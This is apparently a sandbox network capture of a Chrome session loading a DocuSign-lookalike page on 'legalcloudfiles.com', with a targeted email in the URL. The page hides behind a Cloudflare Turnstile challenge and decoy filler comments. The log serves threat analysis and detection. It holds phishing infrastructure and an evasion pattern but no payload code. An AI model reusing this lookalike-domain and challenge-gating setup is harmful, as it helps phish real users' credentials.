2025-01-14 16:23:02 UTC	920	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 16:23:02 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: http://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mVWWiNq4yIL8BlcMHy2hPep4H340ptpJ3ll06RyGIZnW6FM%2FV4q%2Boyhlyyi5%2Fi8qxA5wvyWBE%2FWZZn3DQ%2FUCxB0qHJLiSQQHsaQGdp0DSX7vmLXL3gNjbuiPA72GjryhO%2BojzPjfyo%2F4drxUJ5%2B1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901ef7e1a9955e60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2793&min_rtt=2788&rtt_var=1049&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=1287&delivery_rate=1047345&cwnd=249&unsent_bytes=0&cid=1ce21b850c4f5595&ts=389&x=0"
2025-01-14 16:23:02 UTC	291	IN	Data Raw: 31 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 75 73 69 67 6e 2e 6c 65 67 61 6c 63 6c 6f 75 64 66 69 6c 65 73 2e 63 6f 6d 2f 53 30 36 67 61 2f 3f 65 3d 65 63 61 73 74 69 6c 6c 6f 40 73 65 67 75 72 69 64 61 64 61 6d 65 72 69 63 61 2e Data Ascii: 11c<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.
2025-01-14 16:23:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49749	172.67.210.82	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:03 UTC	710	OUT	GET /S06ga/?e=ecastillo@seguridadamerica.com HTTP/1.1 Host: docusign.legalcloudfiles.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:04 UTC	1000	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=mflm6i3anin80rqnr4idh7h7ci; path=/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jhKdzPvdNLznlZBINAjy%2BS1FQ2MGVZ4srffxMcccJ871%2Fd%2BNKi2idfMYM4uUwyk8Ykz8QW86nY8g1oonTnA%2BwzxK6tzRgVQjesSHDbjVTHRt7lP7JGsWmjbf3Wuy%2FIOZ3EeMUUMZiQZHtkJZ7SSY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901ef7ea58e80f3b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8103&min_rtt=3440&rtt_var=4414&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=1288&delivery_rate=848837&cwnd=199&unsent_bytes=0&cid=349a9733d5f44452&ts=346&x=0"
2025-01-14 16:23:04 UTC	369	IN	Data Raw: 62 37 38 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 49 63 69 63 6c 65 54 6f 6e 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 52 6f 77 65 72 73 20 73 79 6e 63 68 72 6f 6e 69 7a 65 64 20 6d 6f 76 65 6d 65 6e 74 73 20 70 65 72 66 65 63 74 6c 79 20 70 72 6f 70 65 6c 6c 69 6e 67 20 74 68 65 69 72 20 62 6f 61 74 20 73 77 69 66 74 6c 79 20 61 63 72 6f 73 73 20 63 61 6c 6d 20 72 69 76 65 72 73 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 Data Ascii: b78 <html lang="en"> <head> <meta charset="UTF-8"> <title>IcicleTone</title> ... <span>Rowers synchronized movements perfectly propelling their boat swiftly across calm rivers.</span> --> <meta name="robots" cont
2025-01-14 16:23:04 UTC	1369	IN	Data Raw: 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 70 3e 53 63 69 65 6e 74 69 73 74 73 20 70 75 62 6c 69 73 68 65 64 20 67 72 6f 75 6e 64 62 72 65 61 6b 69 6e 67 20 66 69 6e 64 69 6e 67 73 20 61 64 76 61 6e 63 69 6e 67 20 73 69 67 6e 69 66 69 63 61 6e 74 6c 79 20 6d 65 64 69 63 61 6c 20 72 65 73 65 61 72 63 68 20 66 69 65 6c 64 73 2e 3c 2f 70 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c Data Ascii: cript src="https://challenges.cloudflare.com/turnstile/v0/api.js"></script> ... <p>Scientists published groundbreaking findings advancing significantly medical research fields.</p> --> <style> body { font-famil
2025-01-14 16:23:04 UTC	1205	IN	Data Raw: 66 75 6c 20 68 61 75 6c 73 20 61 6d 69 64 20 63 61 6c 6d 20 73 65 61 73 2e 3c 2f 70 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 30 78 34 41 41 41 41 41 41 41 35 4d 76 6a 58 6d 56 6f 70 30 76 33 4e 68 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 4b 61 72 6d 61 53 70 61 72 6b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ful hauls amid calm seas.</p> --> <form method="POST"> <span class="cf-turnstile" data-sitekey="0x4AAAAAAA5MvjXmVop0v3Nh" data-callback="KarmaSpark"> </span>
2025-01-14 16:23:04 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2025-01-14 16:23:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49751	104.18.94.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:04 UTC	556	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:05 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 14 Jan 2025 16:23:05 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 901ef7f0889472c2-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49754	104.18.94.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:05 UTC	571	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:05 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 901ef7f468e2f5f4-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:05 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-14 16:23:05 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-14 16:23:05 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-14 16:23:05 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-14 16:23:05 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-14 16:23:05 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-14 16:23:05 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-14 16:23:05 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-14 16:23:05 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-14 16:23:05 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49755	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:06 UTC	808	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:06 UTC	1362	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26891 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, 